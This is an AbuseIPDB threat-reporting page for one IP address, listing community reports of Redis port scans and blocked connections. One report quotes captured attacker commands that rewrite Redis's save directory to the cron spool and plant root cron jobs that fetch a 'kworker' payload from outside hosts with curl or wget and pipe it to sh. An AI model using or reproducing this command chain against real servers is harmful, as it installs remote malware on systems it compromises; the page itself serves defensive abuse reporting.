JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 48.211.170.175

48.211.170.175 was found in our database!

This IP was reported 37 times. Confidence of Abuse is 0%: ?

ISP	Microsoft Limited
Usage Type	Data Center/Web Hosting/Transit
ASN	AS8075
Domain Name	microsoft.com
Country	🇺🇸 United States of America
City	Boydton, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 48.211.170.175

Whois 48.211.170.175

IP Abuse Reports for 48.211.170.175:

This IP address has been reported a total of 37 times from 32 distinct sources. 48.211.170.175 was first reported on March 17th 2026, and the most recent report was 2 months ago.

Old Reports: The most recent abuse report for this IP address is from 2 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇦 polycoda	2026-03-24 21:04:19 (2 months ago)	📡 Port scan	Hacking Web App Attack
🇩🇪 phil2k	2026-03-24 06:07:28 (2 months ago)	portscan on multiple TCP ports : Firewall: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+010 ... show more portscan on multiple TCP ports : Firewall: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+0100) identified: unallowed access from 48.211.170.175/32 on port 6379(redis) (1 trial) Fail2ban: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+0100) banned: 3 times by fail2ban[firewall] show less	Port Scan
🇹🇷 rtbh.com.tr	2026-03-23 12:12:12 (2 months ago)	list.rtbh.com.tr report: tcp/6379	Brute-Force
🇸🇰 GOVCERT	2026-03-23 09:19:31 (2 months ago)	Sweep Scan	Port Scan
🇬🇷 Xev	2026-03-23 09:00:20 (2 months ago)	Redis command execution Date: 2026-03-23 08:05:07 UTC Destination port: 6379 Executed commands: fl ... show more Redis command execution Date: 2026-03-23 08:05:07 UTC Destination port: 6379 Executed commands: flushall set backup1 /2 * * * cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup2 /3 * * * wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup3 /4 * * * curl -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup4 /5 * * * wd1 -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh config set dir /var/spool/cron/ config set dir /var/spool/cron/crontabs flushall set backup1 /2 * * * root cd1 -fsSL http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup2 /3 * * * root wget -q -O- http://34.70.205.211/plugins-dist/safehtml/lang/font/kworker \| sh set backup3 /4 * * * root curl -fsSL http://38.150.0.118/dewfhuewr4r89/98hy67//kworker \| sh set backup4 /5 * * * root wd1 -q -O- http://34.70.205.211... show less	IoT Targeted
🇵🇱 IROK	2026-03-23 08:49:41 (2 months ago)	Firewall Blocked - Unauthorized Port Scanning ...	Port Scan
🇬🇧 OptimusGO	2026-03-23 08:45:03 (2 months ago)	Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Time ... show more Malicious activity detected: web_attack Server: commstackbc (185.127.18.66) Attack: web_attack Timestamp: 2026-03-23 08:44:53 UTC Log evidence: 03/23/2026-08:44:52.511919 [] [1:1000090:1] POLICY Unauthorized Management Port Access [] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 48.211.170.175:39088 -> 185.127.18.66:6379 03/23/2026-08:44:52.511919 [] [1:1000103:1] SECURITY Management Port Probe - CRITICAL [] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 48.211.170.175:39088 -> 185.127.18.66:6379 show less	Port Scan Brute-Force
🇨🇭 SOC [GOLINE SA]	2026-03-23 08:44:31 (2 months ago)	RoutePulse CyberSecurity detection: port scan horizontal. Severity: warning. Port: 6379. Distinct ta ... show more RoutePulse CyberSecurity detection: port scan horizontal. Severity: warning. Port: 6379. Distinct targets: 1024. Flow count: 1024. Target subnets: 185.54.80.0/24, 185.54.82.0/24, 185.54.83.0/24, 185.54.81.0/24 show less	Port Scan
🇯🇵 mkaraki	2026-03-23 04:36:57 (2 months ago)	1774240613 # Service_probe # SIGNATURE_SEND # source_ip:48.211.170.175 # dst_port:6379 ...	Port Scan
🇹🇭 Sawasdee	2026-03-23 04:04:08 (2 months ago)	Port Scan ...	Port Scan
🇷🇺 genokrad	2026-03-23 03:10:25 (2 months ago)	Unauthorized connection attempt on TCP/6379 (Redis)	Port Scan
🇦🇹 Pingger Shikkoken	2026-03-22 08:59:43 (2 months ago)	2026-03-22T08:59:43+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6 ... show more 2026-03-22T08:59:43+00:00 iskariot kernel: AbuseIPDB-Blacklist-Dropped: IN=ens3 OUT= MAC=b6:ab:74:e6:2e:14:84:03:28:62:58:1a:08:00 SRC=48.211.170.175 DST=152.53.50.28 LEN=60 TOS=0x00 PREC=0x00 TTL=44 ID=34019 DF PROTO=TCP SPT=55510 DPT=6379 WINDOW=64240 RES=0x00 SYN URGP=0 show less	Hacking
🇨🇭 pingusurmars	2026-03-22 08:19:45 (2 months ago)	Blocked by UFW on amperetwo [6379/tcp] Source port: 50180 TTL: 50 Packet length: 60 TOS: 0x00 This ... show more Blocked by UFW on amperetwo [6379/tcp] Source port: 50180 TTL: 50 Packet length: 60 TOS: 0x00 This report was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 phil2k	2026-03-21 06:44:27 (2 months ago)	Firewall: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+0100) identified: unallowed access f ... show more Firewall: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+0100) identified: unallowed access from 48.211.170.175 on port 6379(redis) (1 trial) Fail2ban: Within 2026-03-18 01:27:47 - 2026-03-21 03:22:17 CET(+0100) banned: 3 times by fail2ban[firewall] show less	Port Scan Brute-Force
🇩🇪 andrepcg	2026-03-21 03:18:11 (2 months ago)	Port scanning (48.211.170.175 -> :6379)	Port Scan Brute-Force

Showing 1 to 15 of 37 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇻🇳 123.28.95.48

🇨🇳 27.16.194.60

🇮🇪 20.13.147.55

🇺🇸 195.184.76.140

🇨🇳 121.26.28.26

🇩🇪 81.199.26.30

🇸🇬 47.236.227.106

🇸🇬 43.98.199.127

🇮🇪 185.192.16.44

🇮🇳 182.95.177.118

🇧🇩 103.142.184.55

🇺🇦 91.215.146.74

🇷🇺 88.205.172.170

🇩🇪 85.203.15.64

🇮🇩 210.210.155.71

🇧🇷 152.237.210.255

🇻🇳 1.55.211.247

🇺🇸 2a03:2880:f804:33::

🇮🇶 188.64.139.147

🇺🇸 172.253.9.215